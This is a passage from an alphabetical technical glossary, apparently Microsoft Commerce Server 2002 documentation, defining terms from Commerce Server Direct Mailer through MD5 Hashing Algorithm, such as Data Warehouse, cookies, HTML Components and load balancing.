A global resource that is also a Windows 2000 service. Direct Mailer runs direct mail campaigns. It processes lists of recipients, constructs personalized message bodies from either Web pages or static files, and sends the mail message to the recipients. Use Commerce Server Manager to configure and manage Direct Mailer, and to specify the database connection string to the Direct Mailer database. Commerce Server Setup installs Direct Mailer and the Direct Mailer database as part of the Web Server or Complete installation, or when you select Direct Mailer during a Custom installation.

See also: personalization, Direct Mailer database

Commerce Server Manager

A system administration tool that you use to manage and configure Commerce Server resources, sites, applications, and Web servers. Commerce Server Setup installs it automatically when you perform a Web Server or Complete installation, or when you select the Administration Tools feature during a Custom installation. The Microsoft Management Console (MMC) hosts Commerce Server Manager.

Commerce Server Site Packager

A deployment tool that you use to package your site, applications, and resources into a single file (that has a .pup extension), and then move that file to another computer. Using Site Packager, you can deploy your site across multiple computers in a distributed environment. Commerce Server Setup installs it automatically when you perform a Web Server or Complete installation, or when you select the Runtime Objects feature during a Custom installation.

common language runtime

The engine at the core of managed code execution. The run time supplies managed code with services such as cross-language integration, code access security, object lifetime management, and debugging and profiling support.

See also: .NET Framework

Common Language Specification (CLS)

A set of programmatically verifiable rules that govern the interoperation of types authored in different programming languages. CLS-compliant components and tools are guaranteed to interoperate with other CLS-compliant components and tools.

Completed Reports module

The Commerce Server Business Desk module used to view both the status of static reports that have been executed and the reports once they have been completed.

Component Object Model (COM)

The object-oriented programming model that defines how objects interact within a single application or between applications. In COM, client software accesses an object through a pointer to an interface, which is a related set of properties and methods.

Component Object Model (COM) component

A binary file containing code for one or more class factories, COM classes, registry-entry mechanisms, loading code, and so on.

confidence interval

A number indicating the probability that a predicted value will fall between a set of given bounds.

Configuration Section Handler

A class that implements the IConfigurationSectionHandler interface. Configuration section handlers contain information that Commerce Server .NET-based applications read at run time to configure application settings.

connection string

A series of semicolon-delimited arguments that define the location of a database and how to connect to it.

console tree

The left pane in a Microsoft Management Console (MMC) interface that displays the items contained in the console. By default it is the left pane of a console window, but it can be hidden. The items in the console tree and their hierarchical organization determine the capabilities of the console.

content pane

In Commerce Server Business Desk, the window in which action pages are rendered.

content replication

A method of copying Web site content from one server node to another. You can copy files manually, or use replication software to copy content automatically. Replication is a necessary function of clustering to ensure fault tolerance.

Content Selection Framework (CSF)

A development framework for the targeted delivery of content. The Content Selection Framework (CSF) provides the components you use to build a business-specific messaging system. CSF provides a platform for making high-speed decisions to target content to users.

Content Selection Pipeline

The infrastructure that links together the stages and pipeline components necessary to gather, filter, score, and select content.

See also: pipeline, pipeline component, stage

content selection score

A numerical value that is the basis for selecting targeted content, such as ads or discounts, within the Content Selection Framework (CSF). An initial score is assigned to each item in the Initial Scoring stage, which defaults to one (1) if no value is set, and that score is adjusted based on how completely the item matches the targeting criteria. The SelectWinners component selects the items with the highest adjusted score to show to the Web site user. Items with a score of zero (0) are not selected.

content size

Height and width values (by pixel) for your content. You can define new content sizes using the Reference Tables module. When you create or change a content size, the update appears in the content sizes drop-down list, available in the Campaign Manager module.

conversion rate

The multiplier used for converting the base currency of the Web site to the buyer currency or supplier currency. The conversion rate is stored in the SDK Order Sitelet for illustrative purposes only, and should be tracked by a third party fulfillment or accounting system in production Web sites.

See also: spot rate, conversion time, conversion type, fixed rate

conversion time

The time at which the conversion rate is applied to a transaction. If the conversion type is a fixed rate, the conversion time should always be the time at which the order was accepted for fulfillment. If the conversion type is a spot rate, the conversion time is when the bank performs the conversion.

See also: conversion rate, conversion type, spot rate, fixed rate

conversion type

The type of currency conversion used to convert the buyer currency to the base currency for the Web site, or to convert the supplier currency to the base currency in a multicurrency transaction. The conversion type can be either a fixed (static) rate, or a spot (dynamic) rate.

See also: conversion rate, conversion time, spot rate, fixed rate, multicurrency order

cookie

Information about a user, such as an identification number, a password, click history, or number of times the user visited a site, stored in a file. A cookie can also store ticket data. Commerce Server supports both persistent and non-persistent cookies. Persistent cookies are stored on the computers of the users. Non-persistent cookies are used to track the activity of authenticated users who visit your site. When the session ends, the non-persistent cookie is deleted.

See also: ticket

country/region code

A three-character data code used in Commerce Server Business Desk to identify the country or region to which you ship products or with which you do business. Country/region codes must be set up in order to use the Tax Rates module of Business Desk.

creative

The content that is to be placed on an advertising schedule. In the advertising industry, creative denotes ownership of the content. You cannot change any aspect of the ad without approval from the company that owns the ad you are running.

cross sell

A specific type of related sell that suggests to users a product related to the product(s) they already have in their baskets. Use the Commerce Server 2002 Software Development Kit (SDK) to add cross-sell functionality to your site.

See also: related sell

CryptoAPI

An application programming interface (API) that is provided as part of Microsoft Windows. CryptoAPI provides a set of functions that allow applications to encrypt data in a flexible manner while providing protection for the user's sensitive private key data. Actual cryptographic operations are performed by independent modules known as cryptographic service providers (CSPs).

CS Authentication resource

A Commerce Server resource with global-level properties, managed through Commerce Server Manager. Use CS Authentication to configure authentication options for a site.

CSF

See Content Selection Framework.

csv

See comma-separated value file.

cube

A structure that contains a subset of the data in the Commerce Server Data Warehouse, defined by shared dimensions and measures. A cube in Commerce Server is created during the unpacking process, and is populated and processed for data retrieval when the Reports preparation DTS task is run. Storing data in cubes increases the speed of data retrieval.

See also: online analytical processing (OLAP)

Currency Locale Identifier (LCID)

Identifies the locale for currency handling. The default value is zero, which uses the default locale ID of the server.

custom catalog

A catalog that contains the same categories and products as a base catalog, but also contains custom pricing rules for the products. Custom catalogs are a feature of Commerce Server 2000. In Commerce Server 2002, virtual catalogs replace custom catalogs.

See also: virtual catalog

custom price

The specific pricing rules that apply to products in a virtual catalog. There are three types of custom prices: percentage off, fixed amount off, and explicit price.

See also: virtual catalog

customer

The company or individual for whom you run campaigns. A customer can be an agency, advertiser, or your own business.

D

data code

A code value used to represent textual information for properties such as country/region, state/province, and order status. For example, WA is the data code for the state of Washington.

Data Codes module

The Commerce Server Business Desk module is used to add and maintain order status codes, state/province codes, and country/region codes. Country/region codes and state/province codes must be set up before updating your tax tables using the Tax Rates module.

data constraints

The restrictions to the values allowed for a property. Data constraints are specific to the data type. For example, for a number, the constraints may be the minimum value and the maximum value.

data fit score

A value that measures the quality of predictions made by an analysis model when filling in missing data.

See also: score

data marshalling

A method of unpacking data so that it can be persisted in storage and later retrieved by unpacking. Commerce Server uses data marshalling to persist the contents of Dictionary objects to the database.

data member

A member of a class used to store a piece of data. A data member maps to a column in the underlying relational database in the Data Warehouse.

See also: class

data store

A SQL Server database or other database containing data used by a commerce site, such as information about registered users, products, or ads. This also refers to the server that contains the data (the data-store server).

Data Transformation Services (DTS)

A SQL Server component used to import, export, and transform data from different data sources. Commerce Server provides a set of DTS tasks that you use to import data into the Commerce Server Data Warehouse.

See also: package, Data Transformation Services (DTS) task

Data Transformation Services (DTS) task

A Data Transformation Services (DTS) object that defines pieces of work to be performed as part of the data transformation process.

See also: Data Transformation Services (DTS), package

data type

A definition of a set of data that specifies the possible range of values for the set. Examples of data types are: number, decimal, and text.

Data Warehouse

In Commerce Server, a combination of a SQL Server database, an online analytical processing (OLAP) database, and a set of processes that a system administrator uses to import and maintain large amounts of data from multiple data sources.

Data Warehouse Configurator (DWC)

A configuration wizard, available from Commerce Server Setup, which you use to configure a distributed installation of the Data Warehouse and your non-Commerce applications and Web servers.

Data Warehouse logical schema

See logical schema.

Data Warehouse Meta-model

A conceptual model that describes how to create the classes, data members, relations, and keys of the Data Warehouse logical schema.

Data Warehouse resource

A Commerce Server resource with global-level properties, managed through Commerce Server Manager. Use the Data Warehouse resource to specify the database connection string to the Data Warehouse database.

database tier

One or more databases that communicate with the business logic tier. In a Commerce Server installation, the database tier includes the Administration and Direct Mailer databases, the database for the Commerce Server components (for example, catalogs and profiles), and the Data Warehouse.

DataBinding Expression Builder

A tool available through Microsoft Visual Studio .NET when it is installed with Commerce Server 2002. The DataBinding Expression Builder generates data-binding expressions from three Commerce Server systems: Product Catalog System, Order System, and Profiling System.

decision tree

A graphical representation of a collection of prediction rules showing the probability of one event predicting a second event based on historical data. The decision tree for attribute X encodes the probability distribution p( X | attributes that predict X ).

See also: dependency network

default component

A Component Object Model (COM) server object that ensures that critical values for the stage exist. Default components usually appear near the beginning of the stage.

See also: stage

default confidence

A value that represents probability of purchase. Only items that have a probability of purchase exceeding this number are returned.

dense table

A database table that contains dense information. For example, a table that contains user information with one user per row, and a column for each user property, such as occupation, age, and gender. When a case is built from a dense table, columns in the dense table are identified in the PredictorDataTables table as the CaseColumn, PivotColumn, and AggregateColumn. A model configuration can reference only one dense table at a time.

See also: AggregateColumn, case, CaseColumn, PivotColumn, sparse table

dependency network

A graphical summary of the predictive relationships (dependencies) contained in a Predictor model. Use the Prediction Model Viewer to view a dependency network.

See also: arc, decision tree

descendant category

A category subordinate to another category through one or more parent-child relationships. A child category is a descendant category, as is a child of a child.

See also: ancestor category, descendant products, root category, parent category, child category

descendant products

Products associated with a category or any of its descendant categories.

See also: descendant category

design-time control (DTC)

A special type of ActiveX control used for generating text in an editing environment. Typically, a user is presented with several choices in the control; the choices a user makes will alter the details of a section of scripting code or HTML that is placed on the page being edited.

Dictionary object

An object used to support the creation, storage, and retrieval of name/value pairs in memory. Because every element in a Dictionary object is a Variant, you can create a Dictionary object that consists of almost any kind of value (including other Dictionary objects), and you can store any combination of Variant types in the same Dictionary object.

Digest authentication

One of the authentication methods that you can set at the Default Web Site or Application level in IIS. In Digest authentication, a hash value is sent across the network, rather than a clear password. This method works across proxy servers and firewalls, and is a high-security form of authenticated access.

dimension

A descriptive attribute of a measure, usually textual and usually discrete. For example, a dimension might describe the number of purchases. The numeric amount would be the measure.

See also: online analytical processing (OLAP), measure, grouped reports, column dimension, filter dimension, row dimension

direct mail

A mail message that is directed to a specific user and that meets the specific requirements of a direct mail campaign.

See also: Direct Mailer Pipeline

direct mail campaign

A campaign to distribute e-mail message ads to a targeted group of users. The objective is to achieve a high response rate from the mailings.

Direct Mailer

See Commerce Server Direct Mailer.

Direct Mailer database

A SQL Server database that contains e-mail message bodies, event data, and job data. Commerce Server Setup installs the Direct Mailer database when you install Commerce Server Direct Mailer. The database is installed on the same computer as Direct Mailer. Use Commerce Server Manager to specify the connection string from Direct Mailer to the Direct Mailer database.

See also: Commerce Server Direct Mailer

Direct Mailer job file

A text file that specifies information about the Direct Mailer job, such as whether it delivers personalized message bodies, the format of mail message headers, and the location of the list of recipients. A direct mailer job file is used only for the stand-alone mode of Direct Mailer.

Direct Mailer Pipeline

The infrastructure that links together the stages and pipeline components necessary to process direct mail.

See also: direct mail, pipeline component, pipeline, stage

direct price

A price that is associated with a specific product in a catalog rather than with a pricing category.

See also: indirect price

discount

A specific type of promotion in which shoppers are invited to save money on specific products or product groups if they meet certain specified conditions. In Commerce Server, discounts have a targeting component and a display component.

distinct user

See unique user.

drillthrough report

A dynamic report in which you can display detailed information about all of the dimensions in the cube that contains the clicked dimension. In Commerce Server the following dynamic reports are drillthrough-enabled: Product Sales report, Shopping Basket Events report. You can programmatically configure the drillthrough limits for a maximum number of records, and you can enable drillthrough for additional reports.

See also: dynamic report

DTC

See design-time control.

DTS

See Data Transformation Services.

dual key

A type of key that is the combination of a primary key and a join key. You can use dual keys when you add profile attributes in Commerce Server Business Desk. See also join key, primary key.

See also: primary key, join key

DWC

See Data Warehouse Configurator.

dynamic list

A list of user records that the List Manager service creates at run time, when the list is needed (such as when the list data is being exported). Each time the list is requested, List Manager gathers the most recent data in the Data Warehouse. The information needed to create the list is stored in the List Manager database. (This differs from a static list where the entire list of user records is stored in the List Manager database.) Use dynamic lists for direct mail campaigns that you will run frequently, or if the list of recipients is updated frequently.

See also: static list

dynamic report

A report that is created at run time. Each time the report is run, it gathers the most recent data in the Data Warehouse. Only the report definition, which remains the same over time, is stored. (This differs from a static report, where the report is stored, with the data, in the Data Warehouse.) You can view dynamic reports in a PivotTable or a PivotChart. Use the Reports module to run dynamic reports.

See also: drillthrough report

DynamicTable HTML Component (HTC)

The HTML Component (HTC) used for editing the columns displayed in tabular data.

E

e-commerce

The process of buying and selling products and services over the Internet.

EDI

See Electronic Data Interchange.

edit page

One of two main types of action pages in Commerce Server Business Desk. Edit pages provide mechanisms for altering data in Business Desk. Edit pages do not share the Business Desk workspace with the navigation pane. The latter is hidden when edit pages are rendered, thereby preventing navigation to a different module until the edit page is dismissed and the user returns to a list page.

See also: list page

EditField HTML Component (HTC)

The HTML Component (HTC) used for editing individual items of data of various types. EditField HTCs are often embedded within other HTCs, such as the DynamicTable, the EditSheet, and the ListEditor.

EditSheet HTML Component (HTC)

The HTML Component (HTC) used to bundle together controls that are used to edit data.

Electronic Commerce

See e-commerce.

Electronic Data Interchange (EDI)

The transfer of data between different companies using networks, such as the Internet. As more and more companies connect to the Internet, EDI is becoming increasingly important as an easy mechanism for companies to use when they buy, sell, and trade information.

element

In the Business Desk Permissions module, an instance of an entity that can be secured. An element is a subset of an entity, which can be either a Business Desk task or an item describing the entity for Catalogs and Profiles. For example, Save is an element for the entity, Tax Rates, and List Price is an element for the entity, Catalog Properties. AddressLine1 is an element that describes the Address entity. Each of these elements can be secured.

See also: area, entity, Permissions module

entity

The highest level item in the Business Desk that can be secured. An entity can be either a Business Desk module or a property of catalogs and profiles. Examples of entities that can be secured are: user profile properties, organization profile properties, and Reports. An entity may contain several elements.

See also: area, Permissions module, element

envelope

A named set of properties that represents a specific business document. Envelope properties include an envelope format and may include a pointer to an envelope specification. Or, the header and footer information, or header information only, that encapsulates electronic business data for transport.

event

The occurrence of a specific action performed by a user. Typical events include pressing a keyboard key or clicking a mouse to choose a button. Events are recorded with the time at which they occur. Programmers write code to respond to these actions.

See also: frequency

explicit price

A custom price that specifies a precise amount. An explicit price overrides the price specified in the base catalog.

explicit profiling

An information collecting process in which users visiting a Web site supply profile data about themselves. For example, users may fill in an online form with their names, addresses, phone numbers, and so forth.

See also: implicit profiling

explicit targeting

Delivering targeted content by using existing data about the users who browse your site.

exposure limit

The number of times a piece of content can be shown to a user within a session. By default the exposure limit is set to no exposure limit. It is recommended that the upper exposure limit is not set to more than 10 exposures per user per session.

expression

A condition that is evaluated against profiles to determine whether to deliver content or perform another action. For example, an expression might be "user.totalvisit > 100". If this expression evaluates to "True," then a specific piece of content is displayed to a user. Use the Campaign Expressions module to create expressions, and then combine the expressions with the action you want to perform after the expressions are evaluated.

See also: Expression Builder

Expression Builder

A tool you use to create an expression. The Expression Builder includes a list of common expressions that you can select from to define the properties you want to target. You access the Expression Builder when creating a new target expression or catalog expression from the Campaign Expressions module.

See also: expression

expression store

The tables in a Commerce Server database that store expression information.

See also: store

ExpressionBuilder HTML Component (HTC)

The HTML Component (HTC) used to create named expressions, which in turn can be used for targeting. The ExpressionBuilder HTC makes use of an embedded version of the QueryBuilder HTC.

Extensible Markup Language (XML)

A data format for structured document interchange on the Web. It is called the Extensible Markup Language because it is not a fixed format like HTML. XML is designed to enable the use of Standard Generalized Markup Language (SGML) on the World Wide Web. XML is not a single markup language. It is a metalanguage that allows an author to design a markup language. A regular markup language defines a way to describe information in a certain class of documents (for example, HTML). With XML, authors can define their own customized markup language for many classes of documents.

Extensible Markup Language (XML) data-island

XML data contained in, or accessible from, an ASP page. One of the two elements, xml and script, is used to define an XML data-island, and a particular XML data-island is referenced using the ID attribute of these elements. The data itself often exists within these elements, but can exist elsewhere when a source attribute is used to provide the Uniform Resource Locator (URL) of an alternate location.

Extensible Markup Language/ Hypertext Transfer Protocol (XMLHTTP) operations

The mechanism used by the ListSheet HTML Component (HTC) and the TreeView HTC to fetch XML data from the server, allowing new data to be displayed without the need to re-render the entire page displaying that data.

extent

The unit of space allocated to a SQL Server object, such as a table or index, whenever the object needs more space. In SQL Server 2000, an extent is eight contiguous pages.

extranet

An extension of a corporate intranet using World Wide Web technology to facilitate communication with the suppliers and customers of a corporation. An extranet allows customers and suppliers to gain limited access to the intranet of a company in order to enhance the speed of communications and the efficiency of business relationships.

F

failover

The process of taking resources, either individually or in a group, offline on one server cluster node and bringing them back online on another node. The offline and online transitions occur in a predefined order, with resources that are dependent on other resources taken offline before and brought back online after the resources upon which they depend.

fetch page

A type of Active Server Pages (ASP) page designed to return Extensible Markup Language (XML) documents containing data in the standard XML data format. Only XML data is present on the page being returned. The ListSheet and TreeView HTCs expect this data format when they are engaged in XMLHTTP operations.

file

In SQL Server databases, a basic unit of storage for a database. One database can be stored in several files. SQL Server uses three types of files: data files (which store data), log files (which store transaction logs), and backup files (which store backups of a database).

file caching

See caching.

filegroup

In SQL Server, a named collection of one or more files that forms a single unit of allocation or for administration of a database.

filter dimension

A dimension in a dynamic report used to filter report results. For example, if you want only specific sites to appear in a report, you can use the filter dimension to show only sites A, B, and C. Sites D, E, and F are filtered out of the report.

See also: dimension, row dimension, column dimension

Find pane

In Commerce Server Business Desk, an area in the upper portion of the module content pane in a list page. Find criteria are entered in the Find pane. Criteria are then used in a Find task. Most commonly, the lower portion of the module content pane consists of a ListSheet HTC in which the results of the Find task are displayed.

firewall

A security checkpoint that separates an intranet from the Internet (or Internet groups). Only specific data may pass through a firewall.

fixed amount off

The exact amount subtracted from the list price to arrive at a custom price.

fixed markup

The exact amount added to the list price to arrive at a custom price.

fixed rate

A static conversion rate that allows each party (buyer, Web site, or supplier) to know exactly how much they will pay or be paid for items because the conversion rate is already set.

See also: conversion rate, conversion time, conversion type, spot rate

foreign key

The column or combination of columns whose values match the primary key or unique key in the same or another table.

See also: primary key, unique key, referential integrity

free-text searchable

A Yes/No flag in a property definition that indicates whether the property can be found through a free-text search. To set this flag to Yes, the property type must be string or enumerated. A free-text search locates exact matches and words that are inflectionally generated from the one(s) you specified. For example, the word "drive" would return matches for drives, drove, driving, and driven.

free-threaded components

COM components that can reside on multiple threads of execution. The components support access by multiple clients and do not rely on COM to synchronize calls to them.

frequency

The number of events divided by the reach of the events.

See also: event, reach

FrontPage server extensions

A set of programs you can use to administer, author, and browse a FrontPage-extended Web site.

full-text catalog

A SQL Server object that stores the full-text index of a database.

full-text index

The portion of a full-text catalog that stores all of the full-text words and their locations for a given table. When changes are made to a catalog (such as adding or removing products, or changing the values of free-text searchable fields), the full-text index must be updated to reflect the changes.

full-text search

A search for one or more documents, records, or strings based on all of the actual text data rather than on an index containing a limited set of keywords.

G

generic profile

Any profile that is not using the User Object profile definition or the Organizations profile definition. For example, Address is a generic profile; it is based on the Address profile definition.

global resource

A resource that is available for use by all sites. Global resources expose an object at the global level in Commerce Server Manager, and at the site level of those sites that are using the global resource. Properties for a global resource are configured at the global level.

The following global resources are included with Commerce Server: Commerce Server Direct Mailer and Predictor (which are also Windows 2000 services), CS Authentication, Profiles, and Data Warehouse. Third parties can develop custom global resources to work with Commerce Server. Use Commerce Server Manager to manage global resources.

See also: resource

global resource pointer

A resource object exposed at the site level that serves to reference a global resource being used by that site. Such global resources might also be referenced and used by other sites.

globally unique identifier (GUID)

A 128-bit number that is guaranteed to be globally unique. Traditionally, GUIDs are created by running the Guidgen.exe command line program. The Guidgen.exe program never produces the same number twice, no matter how many times it is run or how many different computers it runs on. In Commerce Server, the GenID object can be used to generate GUIDs.

goaling

See campaign goaling.

group

The area within a Commerce Server Business Desk screen that has a collapsible heading, allowing the information in that section to be displayed or hidden as the user prefers. Also referred to as section.

grouped reports

A set of individual reports created simultaneously with each report showing data unique to that report. The data view shown in each report is based on one or more dimensions. For example, a Sales by User report with a view of the user dimension would produce a sales report for each user. A Sales by Year by User report with a view of the user and year would produce an annual sales report for each user for every year in which there were sales. Grouped reports serve to limit the data shown in any one report to the data view specific to a user. For example, if a site hosts multiple advertisers it would make sense to provide advertising campaign results only to the advertisement sponsor rather than showing all advertising results to all advertisers.

See also: dimension, measure

GUID

See globally unique identifier.

H

hashing key

A unique key, often a column or group of columns in a database, that is used to increase lookup speed when searching for an item in a large list.

high precision currency value

A currency value represented as a 64-bit integer and scaled by 10000, as opposed to the 32-bit integers used in Site Server 3.0 Commerce Edition. In the Commerce Server 2002 representation, $1.99 is shown as 19900. Keys that have a high precision currency value assigned to them have a prefix of cy_. For example, the high precision currency version of the key _oadjust_adjustedprice is _cy_oadjust_adjustedprice.

hit

A single action (for example, a click on an advertisement) taken by a user at a Web site that results in one line of data being added to the Web server log file.

horizontal scaling

Increasing Web site capacity by adding more servers to the server cluster. Also called scaling out.

See also: vertical scaling

host header

A piece of information that enables IIS to resolve a request based on the domain name specified by the browser, rather than one based only on the IP address and port number. For example, the host header name for the URL http://www.microsoft.com is www.microsoft.com. By using host headers, you can use the same IP address and port for multiple IIS Web sites.

house ad

An ad that is served when paid ads are ahead of their Need of Delivery schedule. For example, a customer orders 1000 paid ads to be delivered over four months, but in the first two months the order has been served 850 times. To balance the Need of Delivery schedule, house ads would be served. House ads are also served when there are no paid ads eligible for the request.

For example, a house ad would be served because all paid ads missed a required target or hit an exclusion. A house ad is used to sell leftover inventory at discounted prices. They are also used if the ads on the site don't have specific delivery goals, but you want to have the ads run at specified weights.

See also: weight

HTA

See HTML Application.

HTC

See HTML Component.

HTML Application (HTA)

An Internet Explorer mechanism for displaying HTML as a standalone application. The primary difference between a regular IE page and an HTA is the removal of the security constraints normally associated with Internet Explorer. This allows you to use pop-up dialog boxes, conduct file access, and perform other actions that are normally not possible from within IE. Commerce Server Business Desk is implemented as an HTA, and has code that prevents it from being run within a normal browser instance.

HTML Component (HTC)

A control implemented using Internet Explorer DHTML behaviors. HTCs are used in Commerce Server Business Desk modules for data display and manipulation.

HTTP

See Hypertext Transfer Protocol.

HTTP module

A module responsible for initializing run-time services and providing access to run-time services throughout the life of the application. HTTP modules encapsulate component initialization and extend the core run-time services provided by ASP .NET. Commerce modules are HTTP modules, and modules that implement the System.Web.IhttpModule interface.

See also: Commerce Module

Hypertext Transfer Protocol (HTTP)

The client/server protocol used to transmit and receive all data over the World Wide Web. When you type a URL into your browser, you are actually sending an HTTP request to a Web server for a page of information.

I

identification

The process of mapping an object onto the supported identification schemas or getting the unique user identifier (UID). The operating system, IIS, or Commerce Server usually provides this identification.

IIS

See Internet Information Services.

IIS application

See application.

image

A visual element used on a Web page, such as an illustration, photograph, or background texture. Web-based images are typically .gif or .jpg formats.

IME

See Input Method Editor.

implicit profiling

An information collection process in which the actions and behaviors of a user visiting a Web site are recorded as the user moves around in and interacts with the Web site.

See also: explicit profiling, Predictor resource

implicit targeting

Delivering targeted content by using your existing user data to extrapolate unknown information about users who browse your site. In Commerce Server, the Predictor resource enables you to segment users to support implicit targeting.

impression

See ad request.

Independent Software Vendor (ISV)

A third-party vendor who develops software, such as tax, shipping, or inventory software, that integrates with Commerce Server and extends its functionality. You can compare an ISV to a Solution Provider, who customizes Commerce Server for specific customers or vertical markets, and designs and deploys systems.

indirect price

A price that is associated with a pricing category. The price field in the product record is ignored.

See also: direct price

industry code

An identifier for a specific industry, for example, Automotive, Aviation, Beverage. You create industry codes using the Reference Tables module. The industry codes enable you to identify the associated industry for an ad, thus preventing two ads from competing advertisers in the same industry from appearing on the same page. Industry codes are associated with campaigns at the customer level; the industry code is used as the default for all the advertising campaigns for the customer. If you do not associate the industry code at the customer level, you must associate it at the advertising level.

inheritance

The ability of a newly created object to automatically have the properties of an existing object. For example, a newly created child directory can inherit the access-control settings of the parent directory.

input fraction

The fraction of the properties used when an analysis model is built to predict the properties returned by the model. For example, if an analysis model uses product stock keeping units (SKUs) to predict demographic properties, and the input property fraction is set to 0.5, then only the top half of the most significant SKUs will be used for the prediction. See also: output fraction

See also: output fraction

Input Method Editor (IME)

Programs used to enter the thousands of different characters in written Asian languages with a standard 101-key keyboard. An IME consists of both an engine that converts keystrokes into phonetic and ideographic characters and a dictionary of commonly used ideographic words. As the user enters keystrokes, the IME engine attempts to identify which character or characters the keystrokes should be converted into.

Integrated Windows authentication

One of the authentication methods that you can set at the Web Site or Application level in IIS. This method employs the Windows logon user name and password for authentication, but does not prompt the user for this information unless the authentication of the current log on fails. It does not work over proxy connections, and is used for private areas of intranets.

intelligent cross-sell

A way to dynamically adapt the product recommendations displayed to users based on past purchase behavior and the products users are viewing or have added to their baskets. Use the Predictor resource to add intelligent cross-sell capabilities to your Web site.

See also: related sell, up sell

Internet

A set of distinct computer networks joined together with gateways that handle data transfer and the conversion of messages from the sending network to the protocols used by the receiving networks. These networks and gateways use the Transmission Control Protocol/Internet Protocol (TCP/IP) suite of protocols.

Internet address

See Internet domain name.

Internet domain name

The name used for hosting a site on the Internet. An Internet domain name is a combination of a second-level domain name (such as "Microsoft") and a top-level domain name (such as "com" or "net"), separated by a period. Before establishing a commerce site on the Internet, a business must first apply for and register a second-level domain name with an authorized Domain Name System (DNS) registration authority. This name must meet the requirements for external DNS naming, and must not already be registered or in use. To register the name, a business must obtain (or have an Internet Service Provider (ISP) obtain on its behalf) at least one Internet Protocol (IP) address valid for use on the Internet and the IP addresses of at least two currently active DNS servers on the Internet. Also called an Internet address, domain name, and URL.

Internet Information Services (IIS)

The Windows 2000 services that support Web site creation, configuration, and management, along with other Internet functions. You must install IIS on a server before you install Commerce Server.

Internet Service Provider (ISP)

A public provider of remote connections to the Internet. An ISP is a company that enables remote users to access the Internet by providing dial-up connections or installing leased lines. An ISP may host commerce sites for client companies, hosting several sites on a single server or server cluster. The ISP may provide the infrastructure and perform administration tasks common to all sites, while allowing clients to perform some site administration tasks from their remote computers.

intranet

A network designed for information processing within a company or organization. Its uses include such services as document distribution, software distribution, access to databases, and training. An intranet is so called because it usually employs applications associated with the Internet, such as Web pages, Web browsers, File Transfer Protocol (FTP) sites, e-mail, newsgroups, and mailing lists, in this case accessible only to those within the company or organization.

ISAPI filter

A program that responds when the Web server receives an HTTP request. ISAPI filters are different from applications in that they are driven primarily by Web server events rather than by a client request. Those events, however, may be the result of client requests. You can associate an ISAPI filter with a particular Web server event; the filter is notified each time the associated event occurs.

ISP

See Internet Service Provider.

ISV

See Independent Software Vendor.

J

join key

An association between a field in one table or a query and a field of the same data type in another table or query. Commerce Server uses a join key to relate data in one data store used by the Profiles resource to data in another data store also used by the Profiles resource. For example, a join key may exist on the User Name property, relating the User Name field stored with data in Active Directory to the User Name field stored with data in a SQL Server table. Commerce Server supports the use of a join key to relate Product Catalog data to data in a data store that is external to Commerce Server. For example, you can use the CatalogManager.SetJoinTable method to add external data to catalog searches, or you can limit search results to products that are in stock by creating a join key to a table in an external inventory system.

See also: dual key

K

key

An identifier for a record or group of records in a datafile. A key indicates a special property of a field or set of fields within a record. Possible key types include dual, join, primary, and unique.

See also: class key

L

LCID

See Currency Locale Identifier.

List Manager database

A database that stores lists of user records. You create lists of user records by using the List Manager module in Commerce Server Business Desk. The lists are available for use by the Direct Mailer to run a direct mail campaign, and in the Users module in Business Desk.

List Manager module

The Commerce Server Business Desk module used to create, import, export, copy, delete, and merge lists of user records. For example, you can create a list of recipients for a direct mail campaign.

List Manager service

A Windows 2000 service that performs the tasks you specify using the List Manager module in Commerce Server Business Desk. For example, you can create, delete, import, export, copy, and merge lists of user records. To create a list you can import data from flat files, a SQL Server database, the Data Warehouse, and Predictor resource segments. You can export lists to a flat file and to a SQL Server database.

list page

One of two main types of action pages in Commerce Server Business Desk. List pages provide a read-only view of some type of data, and typically allow that data to be filtered, sorted, selected, and otherwise acted upon. List pages typically consist of a ListSheet HTC, and sometimes a find pane above the ListSheet HTC. List pages share the Business Desk workspace with the navigation pane.

See also: edit page

ListBox HTML Component (HTC)

The HTML Component (HTC) used for list-to-list copy and move operations.

ListEditor HTML Component (HTC)

The HTML Component (HTC) used for editing tabular data where the editing of individual records occurs in a separate table below the table containing the list.

ListSheet HTML Component (HTC)

The HTML Component (HTC) used to display a list of records, and to select one or more of those records for editing. The ListSheet HTC is read-only.

load balancing

Scaling the performance of a server-based program (such as a Web server) by distributing its client requests across multiple servers within the server cluster. Each host can specify the load percentage that it will handle, or the load can be equally distributed across all the hosts. If a host fails, the load is dynamically redistributed among the remaining hosts. Network Load Balancing is the load balancing solution Windows Clustering uses, available on Windows 2000 Advanced Server.

load testing

See stress testing.

log file

A record of the transactions or the activities that take place on a computer system. The file can be either a text file or a database file. In Commerce Server, log files are imported into the Data Warehouse so you can analyze the activity on your site by using the Analysis modules in Commerce Server Business Desk.

See also: open visit, closed visit, log file mask

log file mask

A user-configured property that specifies Web server log file names as they are rotated over time, or based on file size. For example, a daily IIS log file rotation is specified as exyymmdd.log: the log file name will have a prefix of ex, followed by a two-digit year, a two-digit month, and a two-digit day. You set the log file mask when you configure a Web server using Commerce Server Manager.

See also: log file

logical schema

In the Data Warehouse, a conceptual model that maps to the data in the physical store, and provides an understandable view of the data. When a developer creates code to access or change data in the Data Warehouse, the developer interacts with the logical schema. Commerce Server processes access data in the Data Warehouse through the logical schema.

M

mailable list

A list with an rcp_email column that contains user e-mail addresses.

mailing list

A list for use with the Direct Mailer. A mailing list contains five standard fields: rcp_email, rcp_guid, rcp_fmt, rcp_locale, and rcp_url.

managed code

Code that runs under a "contract of cooperation" with the run time. Managed code must supply the metadata necessary for the runtime to provide services such as memory management, cross-language integration, code access security, and automatic lifetime control of objects. All code based on Microsoft intermediate language (MSIL) executes as managed code.

See also: Microsoft intermediate language (MSIL), ASP.NET

master configuration file

The XML configuration file that defines the categories and modules available within a particular instance of Commerce Server Business Desk. Each module entry identifies a module configuration file that contains the configuration information for that module.

materialize

To convert a snapshot of a virtual catalog to a base catalog. A materialized virtual catalog has the performance of a base catalog for all search and browse operations, but is edited as a virtual catalog. It is recommended that you materialize all aggregated virtual catalogs for improved performance. To materialize a virtual catalog, the system administrator can run the materialize.vbs script, which can be run as part of the site publication process. Alternatively, the system administrator can use the Product Catalog System API to set the CatalogFlags attribute of the virtual catalog to 1. The virtual catalog is then materialized each time it is rebuilt.

See also: virtual catalog, base catalog, aggregated catalog

MD5 Hashing Algorithm

An industry-standard one-way, 128-bit hashing scheme, developed by RSA Data Security, Inc., and used for encrypted authentication. A hashing scheme is a method for transforming data (for example, a password) in such a way that the result is unique and cannot be changed back to its original form.

MDX

